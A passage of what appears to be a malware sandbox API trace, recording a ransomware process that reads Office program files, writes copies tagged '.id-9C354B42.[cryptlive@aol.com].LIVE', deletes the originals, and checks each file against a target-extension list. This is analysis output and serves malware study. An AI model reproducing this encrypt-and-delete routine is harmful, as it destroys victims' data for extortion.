Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0155.152] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=239488) returned 1 [0155.152] CloseHandle (hObject=0x1fc) returned 1 [0155.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll")) returned 0x20 [0155.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0155.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\form.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0155.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0155.437] lstrlenW (lpString=".doc") returned 4 [0155.438] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0155.438] lstrlenW (lpString=".docx") returned 5 [0155.438] lstrcmpiW (lpString1=".docx", lpString2="M.DLL") returned -1 [0155.438] lstrlenW (lpString=".pdf") returned 4 [0155.438] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0155.438] lstrlenW (lpString=".xls") returned 4 [0155.438] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0155.438] lstrlenW (lpString=".xlsx") returned 5 [0155.438] lstrcmpiW (lpString1=".xlsx", lpString2="M.DLL") returned -1 [0155.438] lstrlenW (lpString=".ppt") returned 4 [0155.438] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0155.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0155.438] lstrlenW (lpString=".zip") returned 4 [0155.438] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0155.438] lstrlenW (lpString=".rar") returned 4 [0155.438] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0155.438] lstrlenW (lpString=".bz2") returned 4 [0155.438] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0155.438] lstrlenW (lpString=".7z") returned 3 [0155.438] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0155.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORM.DLL") returned 51 [0155.438] lstrlenW (lpString=".dbf") returned 4 [0155.439] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0156.006] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=789) returned 1 [0156.006] CloseHandle (hObject=0x314) returned 1 [0156.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg")) returned 0x20 [0156.120] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.129] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.129] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.169] GetLastError () returned 0x0 [0156.169] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x315, lpOverlapped=0x0) returned 1 [0156.222] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x320, lpOverlapped=0x0) returned 1 [0156.223] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.223] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0156.223] SetEndOfFile (hFile=0x3a0) returned 1 [0156.223] CloseHandle (hObject=0x3a0) returned 1 [0156.223] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.224] SetEndOfFile (hFile=0x314) returned 1 [0156.226] CloseHandle (hObject=0x314) returned 1 [0156.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\appt.cfg")) returned 1 [0156.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.227] lstrlenW (lpString=".doc") returned 4 [0156.227] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.227] lstrlenW (lpString=".docx") returned 5 [0156.227] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0156.227] lstrlenW (lpString=".pdf") returned 4 [0156.227] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.227] lstrlenW (lpString=".xls") returned 4 [0156.227] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.227] lstrlenW (lpString=".xlsx") returned 5 [0156.227] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0156.227] lstrlenW (lpString=".ppt") returned 4 [0156.227] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.227] lstrlenW (lpString=".zip") returned 4 [0156.227] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.227] lstrlenW (lpString=".rar") returned 4 [0156.227] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.227] lstrlenW (lpString=".bz2") returned 4 [0156.227] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.227] lstrlenW (lpString=".7z") returned 3 [0156.228] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.228] lstrlenW (lpString=".dbf") returned 4 [0156.228] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.228] lstrlenW (lpString=".1cd") returned 4 [0156.228] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.228] lstrlenW (lpString=".jpg") returned 4 [0156.228] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.228] lstrlenW (lpString=".doc") returned 4 [0156.228] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.228] lstrlenW (lpString=".docx") returned 5 [0156.228] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0156.228] lstrlenW (lpString=".pdf") returned 4 [0156.228] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.228] lstrlenW (lpString=".xls") returned 4 [0156.228] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.228] lstrlenW (lpString=".xlsx") returned 5 [0156.228] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0156.228] lstrlenW (lpString=".ppt") returned 4 [0156.228] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.228] lstrlenW (lpString=".zip") returned 4 [0156.228] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.228] lstrlenW (lpString=".rar") returned 4 [0156.228] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.228] lstrlenW (lpString=".bz2") returned 4 [0156.228] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.228] lstrlenW (lpString=".7z") returned 3 [0156.228] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.228] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.229] lstrlenW (lpString=".dbf") returned 4 [0156.229] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.229] lstrlenW (lpString=".1cd") returned 4 [0156.229] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.229] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\APPT.CFG") returned 62 [0156.229] lstrlenW (lpString=".jpg") returned 4 [0156.229] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.229] lstrcmpiW (lpString1=".CFG", lpString2=".LIVE") returned -1 [0156.229] lstrlenW (lpString="CNFNOT.CFG") returned 10 [0156.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.230] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=320) returned 1 [0156.230] CloseHandle (hObject=0x314) returned 1 [0156.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 0x20 [0156.230] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.231] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.231] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.231] GetLastError () returned 0x0 [0156.231] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x140, lpOverlapped=0x0) returned 1 [0156.232] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x150, lpOverlapped=0x0) returned 1 [0156.233] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.233] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0156.233] SetEndOfFile (hFile=0x3a0) returned 1 [0156.234] CloseHandle (hObject=0x3a0) returned 1 [0156.234] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.234] SetEndOfFile (hFile=0x314) returned 1 [0156.236] CloseHandle (hObject=0x314) returned 1 [0156.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.236] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 1 [0156.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.237] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.237] lstrlenW (lpString=".doc") returned 4 [0156.237] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.237] lstrlenW (lpString=".docx") returned 5 [0156.237] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0156.237] lstrlenW (lpString=".pdf") returned 4 [0156.237] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.237] lstrlenW (lpString=".xls") returned 4 [0156.237] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.237] lstrlenW (lpString=".xlsx") returned 5 [0156.237] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0156.237] lstrlenW (lpString=".ppt") returned 4 [0156.238] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.238] lstrlenW (lpString=".zip") returned 4 [0156.238] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.238] lstrlenW (lpString=".rar") returned 4 [0156.238] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.238] lstrlenW (lpString=".bz2") returned 4 [0156.238] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.238] lstrlenW (lpString=".7z") returned 3 [0156.238] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.238] lstrlenW (lpString=".dbf") returned 4 [0156.238] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.238] lstrlenW (lpString=".1cd") returned 4 [0156.238] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.238] lstrlenW (lpString=".jpg") returned 4 [0156.238] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.238] lstrlenW (lpString=".doc") returned 4 [0156.238] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0156.238] lstrlenW (lpString=".docx") returned 5 [0156.238] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0156.238] lstrlenW (lpString=".pdf") returned 4 [0156.238] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0156.238] lstrlenW (lpString=".xls") returned 4 [0156.238] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0156.239] lstrlenW (lpString=".xlsx") returned 5 [0156.239] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0156.239] lstrlenW (lpString=".ppt") returned 4 [0156.239] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0156.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.239] lstrlenW (lpString=".zip") returned 4 [0156.239] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0156.239] lstrlenW (lpString=".rar") returned 4 [0156.239] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0156.239] lstrlenW (lpString=".bz2") returned 4 [0156.239] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0156.239] lstrlenW (lpString=".7z") returned 3 [0156.239] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0156.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.239] lstrlenW (lpString=".dbf") returned 4 [0156.239] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0156.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.239] lstrlenW (lpString=".1cd") returned 4 [0156.239] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0156.239] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0156.239] lstrlenW (lpString=".jpg") returned 4 [0156.239] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0156.239] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0156.239] lstrlenW (lpString="CNFNOT.ICO") returned 10 [0156.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.240] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1078) returned 1 [0156.240] CloseHandle (hObject=0x314) returned 1 [0156.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 0x20 [0156.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.240] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.241] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0156.241] GetLastError () returned 0x0 [0156.241] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x436, lpOverlapped=0x0) returned 1 [0156.272] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x440, lpOverlapped=0x0) returned 1 [0156.273] ReadFile (in: hFile=0x314, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.273] WriteFile (in: hFile=0x3a0, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0156.273] SetEndOfFile (hFile=0x3a0) returned 1 [0156.273] CloseHandle (hObject=0x3a0) returned 1 [0156.273] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.273] SetEndOfFile (hFile=0x314) returned 1 [0156.275] CloseHandle (hObject=0x314) returned 1 [0156.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.276] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.ico")) returned 1 [0156.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.277] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.277] lstrlenW (lpString=".doc") returned 4 [0156.277] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.277] lstrlenW (lpString=".docx") returned 5 [0156.277] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0156.277] lstrlenW (lpString=".pdf") returned 4 [0156.277] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.277] lstrlenW (lpString=".xls") returned 4 [0156.277] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.277] lstrlenW (lpString=".xlsx") returned 5 [0156.277] lstrcmpiW (lpString1=".xlsx", lpString2="T.ICO") returned -1 [0156.277] lstrlenW (lpString=".ppt") returned 4 [0156.277] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.278] lstrlenW (lpString=".zip") returned 4 [0156.278] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0156.278] lstrlenW (lpString=".rar") returned 4 [0156.278] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0156.278] lstrlenW (lpString=".bz2") returned 4 [0156.278] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0156.278] lstrlenW (lpString=".7z") returned 3 [0156.278] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.278] lstrlenW (lpString=".dbf") returned 4 [0156.278] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.278] lstrlenW (lpString=".1cd") returned 4 [0156.278] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.278] lstrlenW (lpString=".jpg") returned 4 [0156.278] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.278] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.ICO") returned 64 [0156.278] lstrlenW (lpString=".doc") returned 4 [0156.278] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0156.278] lstrlenW (lpString=".docx") returned 5 [0156.278] lstrcmpiW (lpString1=".docx", lpString2="T.ICO") returned -1 [0156.278] lstrlenW (lpString=".pdf") returned 4 [0156.278] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0156.278] lstrlenW (lpString=".xls") returned 4 [0156.278] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0156.278] lstrlenW 